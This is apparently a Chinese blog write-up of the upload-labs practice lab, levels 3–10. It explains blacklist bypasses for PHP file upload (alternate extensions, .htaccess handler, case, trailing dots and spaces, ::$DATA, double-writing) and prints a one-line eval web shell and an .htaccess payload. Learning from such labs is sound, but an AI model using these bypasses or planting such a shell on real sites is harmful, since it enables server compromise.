upload-labs第3关~10关 黑名单限制绕过

【第三关】黑名单限制不全

原理:黑名单绕过之修改后缀名

Ⅰ 源码解析

image.png
对上传文件有清洗,也有黑名单验证,不过黑名单个数有点少~

Ⅱ 原理分析

修改文件类型数据包内容类型,都被拦截了,不过通过提示内容,外面知道这是黑名单滤过
image.png
黑名单是一种不安全,可以各种方法进行绕过
下图是常见的黑名单绕过方法
image.png

Ⅲ 绕过过程

上传php文件,burp抓包,修改文件名为1.php3
image.png
放包,查看后台文件
image.png
image.pngimage.png

【第四关】htaccess配置文件利用

Ⅰ 源码解析

image.png
  黑名单更加丰富,清洗文件没有问题,但在生成上传文件的绝对路径使用了file_name,注意这个是没有后缀清洗过的.
  这里就会有一个问题:如果我上传文件后,通过了黑名单验证,就可以上传成功,这里可以利用配置文件.htaccess或.user.ini文件,将非黑名单的文件当作php文件执行
image.png

$img_path = UPLOAD_PATH.'/'.$file_name;

Ⅱ 原理分析

随便上传,提示
image.png

利用 .htaccess 文件的特点,使其所在目录下的所有文件以php文件执行
分别上传这两份文件
.htaccess

SetHandler application/x-httpd-php

.png

<?php @eval($_POST['a']);?>

Ⅲ 绕过过程

分别上传.htaccess文件和一个jpg/png格式的文件
image.png
分别用蚁剑和菜刀,都没有连接到,原因未知,不过可以网页访问
image.png
image.png

参考某博客的方法,不可行
image.png
Apache里的httpd.conf 添加了执行语句,也不可
image.png

需要解决下htacess文件绕过,蚁剑返回空数据

【第五关】大小写绕过

Ⅰ 源码解析

image.png
跟第四关最大的不同,就是加多限制了htaccess文件,发现没有大小写转换函数,说明可以利用大小写绕过

Ⅱ 绕过过程

  • 上传php文件,burp抓包
  • 修改数据包,改成XX.Php,放包

image.png

  • 查看后台数据是否存在

image.png

【第六关】空格绕过

Ⅰ 源码解析

image.png
相比于第一关的筛选条件上,缺少一个首尾去空格image.png

Ⅱ 绕过过程

上传->抓包->改包->放包
改包:将XXX.php 修改为 XXX.php
image.png
上传失败,未找到原因image.png

【第七关】尾点绕过

Ⅰ 源码解析

image.png
缺少一个尾部点的去除image.png

Ⅱ 原理

解析下为什么可以用两个点号,绕过黑名单验证
在源码上,我们可以看到一个函数 strrchr($file_name, ‘.’),它是专门负责去除点号的,但它只会执行一次
增加的两个点里

  • 第一个点:抵消 strrchr($file_name, ‘.’)的作用
  • 第二个点:伪装php文件,形成 XXX.php. 文件,在win里面会忽略最后面的点号

image.png

Ⅲ 绕过过程

  1. 上传抓包->改包,将文件修改为 XXX.php…(注意有两个点)
  2. 放包,蚁剑连接

image.png

【第八关】文件流绕过

Ⅰ 源码解析

image.png
缺少一个字符串筛选函数

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

Ⅱ 原理

利用**:: D A T A ∗ ∗ ,进行字符串绕过什么是 : : DATA**,进行字符串绕过 什么是:: DATA,进行字符串绕过什么是::DATA?
image.png

Ⅲ 绕过过程

四步走
上传
抓包
改包
image.png
放包,蚁剑连接
image.png

【第九关】未循环验证(未解决)

Ⅰ 源码解析

image.png
  上传文件时,生成上传文件的绝对路径是用file_name 拼接上去,但file_name 只删除了尾点,我们可以利用Win10的特性,会自动忽略掉尾部空格和点号
  但我们上传了XXX.php文件,然后改成 XXX.php. . ,会通过in_array函数的验证,生成绝对路径时 变成 XXX.php_. ( **_表示空格 **) ,win10会忽略掉这两个

Ⅱ 绕过过程

根据网上的教学,用点空格点的方法绕过image.png
也就是XXX.php 改成 **XXX.php. . ** ,但提交后发现不可行,报错,未找到原因image.png

【第十关】双写绕过

Ⅰ 源码解析

image.png
将dent_ext内的值变成空格,也就是去除掉

 $file_name = str_ireplace($deny_ext,"", $file_name);

Ⅱ 绕过过程

上传文件,抓包
改包,将XXX.php 双写 XXX.pphphp
image.png
放包,
image.png

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值